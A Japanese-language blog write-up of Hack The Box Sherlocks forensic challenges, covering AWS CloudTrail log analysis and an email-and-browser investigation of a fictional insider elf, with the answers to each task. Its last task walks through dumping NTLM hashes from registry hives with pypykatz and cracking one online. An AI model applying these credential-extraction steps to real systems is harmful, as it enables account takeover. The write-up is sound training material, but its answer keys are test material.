{'eventVersion': '1.09', 'userIdentity': {'type': 'AWSAccount', 'principalId': '', 'accountId': 'anonymous'}, 'eventTime': '2023-11-29T08:24:07Z', 'eventSource': 's3.amazonaws.com', 'eventName': 'GetObject', 'awsRegion': 'eu-west-3', 'sourceIPAddress': '191.101.31.57', 'userAgent': '[python-requests/2.25.1]', 'requestParameters': {'bucketName': 'papa-noel', 'Host': 'papa-noel.s3.eu-west-3.amazonaws.com', 'key': 'NPoleScripts/.git/COMMIT_EDITMSG'}, 'responseElements': None, 'additionalEventData': {'aclRequired': 'Yes', 'CipherSuite': 'ECDHE-RSA-AES128-GCM-SHA256', 'bytesTransferredIn': 0, 'x-amz-id-2': 'EsErRevx2JN0jURB8pmZvZjvJyuO/JbQ+BowMNaus+9jaxwOH3jzC47Js5RRvdaNAbEn0G9Gqws=', 'bytesTransferredOut': 397}, 'requestID': 'CJECCNWQM7CK7DMX', 'eventID': '8510333e-e806-4548-bb4a-a5458d2a6743', 'readOnly': True, 'resources': [{'type': 'AWS::S3::Object', 'ARN': 'arn:aws:s3:::papa-noel/NPoleScripts/.git/COMMIT_EDITMSG'}, {'accountId': '949622803460', 'type': 'AWS::S3::Bucket', 'ARN': 'arn:aws:s3:::papa-noel'}], 'eventType': 'AwsApiCall', 'managementEvent': False, 'recipientAccountId': '949622803460', 'sharedEventID': 'da15e9f6-0264-4ba6-88f6-2030701bcb3c', 'eventCategory': 'Data', 'tlsDetails': {'tlsVersion': 'TLSv1.2', 'cipherSuite': 'ECDHE-RSA-AES128-GCM-SHA256', 'clientProvidedHostHeader': 'papa-noel.s3.eu-west-3.amazonaws.com'}}

User-Agentにpython-requests/2.25.1が使われているのでpythonでダウンロードされたことが分かる。pythonが正答。

Task 5

Which file did the Threat Actor locate some hard coded credentials within?
脅威アクターはどのファイル内でハードコードされた認証情報を見つけましたか?

ディレクトリリスティングされているS3からファイルを全部ダウンロードしてくる。
.gitフォルダが再構築できるので、git log -pでログを見てみよう。

commit a92e975c8c52221d5c1c371d5595f65eb13f8be5 (HEAD -> master)
Author: Author Name <bytesparkle@papanoel.co.uk>
Date:   Tue Nov 28 09:42:16 2023 +0000

    Removed the sparkly creds from the script! How silly of me! Sometimes I'm about as useful as a screen saver on Santa's Sleigh!!!!!!

diff --git a/claus.py b/claus.py
index 6ee67e3..38938fa 100644
--- a/claus.py
+++ b/claus.py
@@ -5,9 +5,7 @@ import csv
 import boto3
 from botocore.exceptions import NoCredentialsError, ClientError

-# AWS Credentials -  Should probably come up with a safer way to store these elf lolz!
-AWS_ACCESS_KEY = '■■■■■■■■■■■■■■■■■'
-AWS_SECRET_KEY = '■■■■■■■■■■■■■■■■■■■■■■■■■■■■■'
+# Removed keys for safer method
 BUCKET_NAME = 'north-pole-private'
 REGION_NAME = 'eu-west-2'

認証情報が消されていた。これですね。claus.py

Task 6

Please detail all confirmed malicious IP addresses. (Ascending Order)
確認されたすべての悪意のある IP アドレスの詳細を記載してください。 (昇順)

とりあえずIPアドレスを列挙してみて、どういうアクセスがあるか見てみよう。

109.205.185.126 golangからarn:aws:s3:::papa-noelに対してイベントが1つだけ残っている。意図不明
138.199.59.46 arn:aws:s3:::papa-noelに対して何かしているが意図不明
191.101.31.26 arn:aws:s3:::papa-noelに対して何かしているが意図不明
191.101.31.57 arn:aws:s3:::papa-noelに対してディレクトリリスティングと、ファイル取得をしている。悪性有り
195.181.170.226 arn:aws:s3:::papa-noelに対して何かしているが意図不明
3.236.115.9 arn:aws:s3:::papa-noelに対して何かしているが意図不明(slackにリンクを張った?)
3.236.226.247 arn:aws:s3:::papa-noelに対して何かしているが意図不明(slackにリンクを張った?)
45.133.193.41 arn:aws:s3:::north-pole-privateに対してアクセスがある。Task 7以降の設問から悪性有りと分かる
45.148.104.164 arn:aws:s3:::papa-noelに対して何かしているが意図不明
86.5.206.121 大量にログが残っているが、2023-11-28以前の操作であり、ログの量からしても所有者のIPアドレスと推察できる

ということで45.133.193.41, 191.101.31.57が答え。

Task 7

We are extremely concerned the TA managed to compromise our private S3 bucket, which contains an important VPN file. Please confirm the name of this VPN file and the time it was retrieved by the TA.
私たちは、TA が重要な VPN ファイルを含む私たちのプライベート S3 バケットを侵害したことを非常に懸念しています。この VPN ファイルの名前と、TA によって取得された時刻を確認してください。

eventSource == "s3.amazonaws.com" and eventName == "GetObject"の条件でログを漁るとbytesparkle.ovpnというのが見つかる。

{'eventVersion': '1.09', 'userIdentity': {'type': 'IAMUser', 'principalId': 'AIDA52GPOBQCODESVPGAQ', 'arn': 'arn:aws:iam::949622803460:user/elfadmin', 'accountId': '949622803460', 'accessKeyId': 'AKIA52GPOBQCBTZ6NJXM', 'userName': 'elfadmin'}, 'eventTime': '2023-11-29T10:16:53Z', 'eventSource': 's3.amazonaws.com', 'eventName': 'GetObject', 'awsRegion': 'eu-west-2', 'sourceIPAddress': '45.133.193.41', 'userAgent': '[aws-cli/2.12.0 Python/3.11.5 Linux/6.1.0-kali9-amd64 source/x86_64.kali.2023 prompt/off command/s3.sync]', 'requestParameters': {'bucketName': 'north-pole-private', 'Host': 'north-pole-private.s3.eu-west-2.amazonaws.com', 'key': 'bytesparkle.ovpn'}, 'responseElements': None, 'additionalEventData': {'SignatureVersion': 'SigV4', 'CipherSuite': 'ECDHE-RSA-AES128-GCM-SHA256', 'bytesTransferredIn': 0, 'AuthenticationMethod': 'AuthHeader', 'x-amz-id-2': 'bW43GrgXgIHi7X277fPbnOt7T/eahMosjOIYUlJISlJyNMOUR8WJKQJX3rzps55aZ3sdek7gNX4=', 'bytesTransferredOut': 273}, 'requestID': 'DGARSWVSE9EAKMA7', 'eventID': '34e39afe-659e-438f-831c-ea354a4c19ea', 'readOnly': True, 'resources': [{'type': 'AWS::S3::Object', 'ARN': 'arn:aws:s3:::north-pole-private/bytesparkle.ovpn'}, {'accountId': '949622803460', 'type': 'AWS::S3::Bucket', 'ARN': 'arn:aws:s3:::north-pole-private'}], 'eventType': 'AwsApiCall', 'managementEvent': False, 'recipientAccountId': '949622803460', 'eventCategory': 'Data', 'tlsDetails': {'tlsVersion': 'TLSv1.2', 'cipherSuite': 'ECDHE-RSA-AES128-GCM-SHA256', 'clientProvidedHostHeader': 'north-pole-private.s3.eu-west-2.amazonaws.com'}}

bytesparkle.ovpn, 2023-11-29 10:16:53が正解。

Task 8

Please confirm the username of the compromised AWS account?
侵害された AWS アカウントのユーザー名を確認してください?

Task 7で使われたユーザー名を答える。
elfadmin

Task 9

Based on the analysis completed Santa Claus has asked for some advice. What is the ARN of the S3 Bucket that requires locking down?
完了した分析に基づいて、サンタクロースはいくつかのアドバイスを求めました。ロックダウンが必要な S3 バケットの ARN は何ですか?

ディレクトリリスティングされていたS3バケットのARNを答えると正答。
arn:aws:s3:::papa-noel

Hack The Box Sherlocks - OpTinselTrace-1 Writeup

https://app.hackthebox.com/sherlocks/OpTinselTrace-1
Hack The Box Sherlocksとは

Sherlock Scenario

An elf named "Elfin" has been acting rather suspiciously lately. He's been working at odd hours and seems to be bypassing some of Santa's security protocols. Santa's network of intelligence elves has told Santa that the Grinch got a little bit too tipsy on egg nog and made mention of an insider elf! Santa is very busy with his naughty and nice list, so he’s put you in charge of figuring this one out. Please audit Elfin’s workstation and email communications.
エルフィン」という名前のエルフ。最近はかなり挙動不審です。彼は変な時間に働いており、サンタのセキュリティプロトコルの一部を回避しているようです。サンタの諜報エルフのネットワークはサンタに、グリンチエッグノッグで少しほろ酔いになりすぎて、内通者のエルフについて言及したと伝えました。サンタはいたずらで素敵なリストを作るのに大忙しなので、あなたにこのリストを作成するよう命じています。 Elfin のワークステーションと電子メール通信を監査してください。

2023年のSherlocksクリスマスイベント問題の1問目。
Windowsに対するフォレンジックデータが添付されるので、問題文の誘導に従って解析していく。
中々怖い標的型メールが題材。

Tasks

Task 1

What is the name of the email client that Elfin is using?
Elfin が使用している電子メール クライアントの名前は何ですか?

ElfinのAppDataを見てみよう。
TriageData/C/users/Elfin/Appdata/Roaming/eM Clientというのが見つかる。
eM Client???と思って調べるとメールクライアントだった。eM Clientが答え。

Task 2

What is the email the threat is using?
脅威が使用している電子メールは何ですか?

ログデータをそのままコピーすることで環境を再現してみる。
eM Clientをインストールし、AppDataの該当フォルダをTriageData/C/users/Elfin/Appdata/Roaming/eM Client
で丸ごと上書きして起動すると中身を開くことができた。
自分はelfinbestelfxmas4eva@gmail.comでメールのやりとりをしていく、きな臭い内容のメールの相手を入れてみると答えだった。definitelynotthegrinch@gmail.com が答え。

Task 3

When does the threat actor reach out to Elfin?
脅威アクターはいつエルフィンに連絡を取りますか?

definitelynotthegrinch@gmail.comをクリックするとメッセージ一覧が出るので最も古いコンタクトのHi there xを見てみる。
Sentを見ると 11/28/2023 2:27:26 AM と書いてあり、これは閲覧環境のローカルタイムになっているので、
これをUTCに変換した 2023-11-27 17:27:26 が答え。

Task 4

What is the name of Elfins boss?
エルフィンズのボスの名前は何ですか?

get it DONE elfinというメールを見ると、2番目の返信でI'm trying my best bossとある。
つまり、ボス宛のメールになっているので、
elfuttin bigelf <elfuttinmastermind@yahoo.com>がボス。

Task 5

What is the title of the email in which Elfin first mentions his access to Santas special files?
エルフィンがサンタの特別ファイルへのアクセスについて最初に言及した電子メールのタイトルは何ですか?

メールを巡回すると Also I have access to some of santas special binaries.. not to brag lol とある。
このメールのタイトルは Re: workで正答。

Task 6

The threat actor changes their name, what is the new name + the date of the first email Elfin receives with it?
脅威アクターは名前を変更します。新しい名前と Elfin が最初に受け取った電子メールの日付は何ですか?

definitelynotthegrinch@gmail.comをクリックしたリストを眺めるとbinariesという件名のメールで名前が変わっていることが分かる。
Sent: 11/28/2023 7:00:21 PMと書いてあるので、これをJST -> UTCに変換して名前とともに答える。
Wendy Elflower, 2023-11-28 10:00:21

Task 7

What is the name of the bar that Elfin offers to meet the threat actor at?
エルフィンが脅威アクターと会うために申し出たバーの名前は何ですか?

メールbinariesにて、

i would really like that - what's your favourite flavour? I heard the SnowGlobe bar has cinnamon flavored now... we could go there?

とやりとりがあるため、SnowGlobeが正解。

Task 8

When does Elfin offer to send the secret files to the actor?
Elfin が秘密ファイルを攻撃者に送信すると申し出たのはいつですか?

メール binaries から攻撃者による情報漏洩のお誘いが続いている。
そして、メール can't wait any longer によって、送信すると申し出てしまう。

So the project is super crucial to something santa is doing, he is very private about details but all I know is he is being VERY cautious about a couple super smart binary files... you want me to send them to you??

2023-11-28 16:56:13が答え。

Task 9

What is the search string for the first suspicious google search from Elfin? (Format: string)
Elfin からの最初の不審な Google 検索の検索文字列は何ですか? (形式: 文字列)

Chromeのプロファイルデータが残っているので、それを解析することで分かる。
TriageData/C/users/Elfin/Appdata/Local/Google/Chrome/User Data/Default/Historyをsqlitebrowserで開き、
urlsテーブルのtitleを見ていく。
その中でも一番最初に出てきた怪しいタイトルを答えると正答だった。
how to get around work security

Task 10

What is the name of the author who wrote the article from the CIA field manual?
CIA フィールドマニュアルの記事を書いた著者の名前は何ですか?

ブラウザの閲覧履歴を探すと以下のURLが見つかる。

https://www.corporate-rebels.com/blog/cia-field-manual

このブログの著者はJoost Minnaar

Task 11

What is the name of Santas secret file that Elfin sent to the actor?
エルフィンが俳優に送ったサンタの秘密ファイルの名前は何ですか?

件名なしでファイルが送られている。
santa_deliveries.zip

Task 12

According to the filesystem, what is the exact CreationTime of the secret file on Elfins host?
ファイルシステムによると、Elfins ホスト上のシークレット ファイルの正確な作成時刻は何時ですか?

optinseltrace1/elfidence_collection/TriageData/C/users/Elfin/Appdata/Roaming/top-secret/santa_deliveries.zip
と該当zipが置いてある。

$ exiftool santa_deliveries.zip 
ExifTool Version Number         : 12.67
File Name                       : santa_deliveries.zip
Directory                       : .
File Size                       : 13 kB
File Modification Date/Time     : 2023:11:29 02:01:29+09:00
File Access Date/Time           : 2023:12:20 10:18:26+09:00
File Inode Change Date/Time     : 2023:12:19 23:53:16+09:00

File Modification Date/Timeとして書いてある日付をUTCにして答えると正答。
2023-11-28 17:01:29

Task 13

What is the full directory name that Elfin stored the file in?
Elfin がファイルを保存した完全なディレクトリ名は何ですか?

何故かoptinseltrace1/elfidence_collection/TriageData/C/users/Elfin/Appdata/Roaming/top-secret
santa_deliveriessanta_deliveries.zipがある。
よって、C:\users\Elfin\Appdata\Roaming\top-secretが答え。

Task 14

Which country is Elfin trying to flee to after he exfiltrates the file?
エルフィンはファイルを盗み出した後、どこの国へ逃亡しようとしているのでしょうか?

Task 9で見た検索履歴を見れば分かる。
flights to greece - Google Searchという履歴が残っているためgreece

Task 15

What is the email address of the apology letter the user (elfin) wrote out but didn’t send?
ユーザー (elfin) が書いたものの送信しなかった謝罪文のメール アドレスは何ですか?

DraftsフォルダにI can't do this anymore santa im sorryuという件名のメールが残っていた。
宛先はsanta.claus@gmail.comで懺悔の内容だった。
サンタのメールアドレスが答え。santa.claus@gmail.com

Task 16

The head elf PixelPeppermint has requested any passwords of Elfins to assist in the investigation down the line. What’s the windows password of Elfin’s host?
エルフ長のピクセルペパーミントは、今後の調​​査を支援するためにエルフィンのパスワードを要求しました。 Elfin のホストの Windows パスワードは何ですか?

収集できているアーティファクトを見ると、レジストリが含まれているので、ここからNTLMハッシュを抜き出してクラックできないか試す。

  1. dockerで環境準備 docker run -v ${PWD}:/mnt --rm -it python:latest /bin/bash
  2. pip3 install pypykatz
  3. pypykatz registry --sam sam systemで抜く
HBoot Key: ad46560ea15b7d45a41bceda661cc5d110101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:95199bba413194e567908de6220d677e:::
Elfin:1001:aad3b435b51404eeaad3b435b51404ee:529848fe56902d9595be4a608f9fbe89:::

NTLMハッシュが抜けるので、Elfinの529848fe56902d9595be4a608f9fbe89をCrackStationで検索すると
Santaknowskungfuと分かる。